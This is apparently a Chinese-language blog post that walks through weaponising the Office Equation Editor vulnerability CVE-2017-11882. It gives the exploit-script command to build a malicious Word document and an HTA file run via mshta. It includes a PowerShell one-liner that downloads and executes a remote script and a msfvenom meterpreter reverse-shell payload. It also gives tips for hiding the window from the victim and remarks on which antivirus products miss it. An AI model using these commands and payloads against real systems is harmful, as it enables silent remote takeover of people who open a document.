上周微软更新日,修复了CVE-2017-11882
这个漏洞,根据官方描述该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本,攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。漏洞位置是出现在一个公式编辑器上,叫做EQNEDT32.EXE
,在win10上的路径是C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
,可以在编辑文档的时候插入公式。
最近有利用脚本出来了,也是自己尝试复现了几次,在此简单记录一下
下载https://github.com/Ridter/CVE-2017-11882/
利用脚本,该脚本是@Evi1cg改造后的脚本,经过测试效果还是不错的
生成一个测试文档的话执行
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
打开test.doc就会弹出计算器,而且全程没有提示或警告之类的弹窗,可以算是完美利用,比之前不带宏的代码执行要简单粗暴
注意一点的是命令部分长度不能超过43bytes
反弹shell
下面主要讲一下反弹shell的利用
用mshta方式执行代码:
在vps上建立一个文件test
,内容为
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
关键是修改objShell.Run
后面的部分
我们通过调用powershell下载一个反弹脚本然后执行的方式来获得shell:
修改objShell.Run
为
objShell.Run powershell.exe -WindowStyle Hidden -NoP -sta -NonI -c IEX(New-Object System.Net.WebClient).DownloadString('http://ip/reverse.ps1');reverse.ps1"
其中reverse.ps1
通过msfvenom
生成:
./msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=1234 -f psh-reflection >reverse.ps1
msf开启监听,然后生成word文档:
python Command_CVE-2017-11882.py -c "mshta http://ip/test" -o test.doc
打开之后就会收到shell
但是这样会有一个问题,打开word文档的时候会发现有一个黑框一闪而过,而我们已经指定powershell以-WindowStyle Hidden
的方式运行了,那怎么绕过这个黑框呢?
查一下文档
可以看到Run
命令是可以通过intWindowStyle
参数来控制窗口风格的,有0-10这几种风格
所以我们在执行的命令后面加一个参数,用来控制mshta运行的窗口大小,使之最好隐藏窗口运行
经过测试0和2参数都是可以的,达到隐藏窗口执行,用户察觉不了,其它参数可以自己试一下
目前这样生成的文档在火绒和360杀毒的最新版上是没有报毒,但是各大杀软已经更新了规则,凡是远程调用执行cmd或者ps或者regsvr32等都会触发报警,暂时没有好的方法绕过,毕竟是监控着底层的那几个文件的。
参考:
https://evi1cg.me/archives/CVE_2017_11882_exp.html
http://www.freebuf.com/vuls/154462.html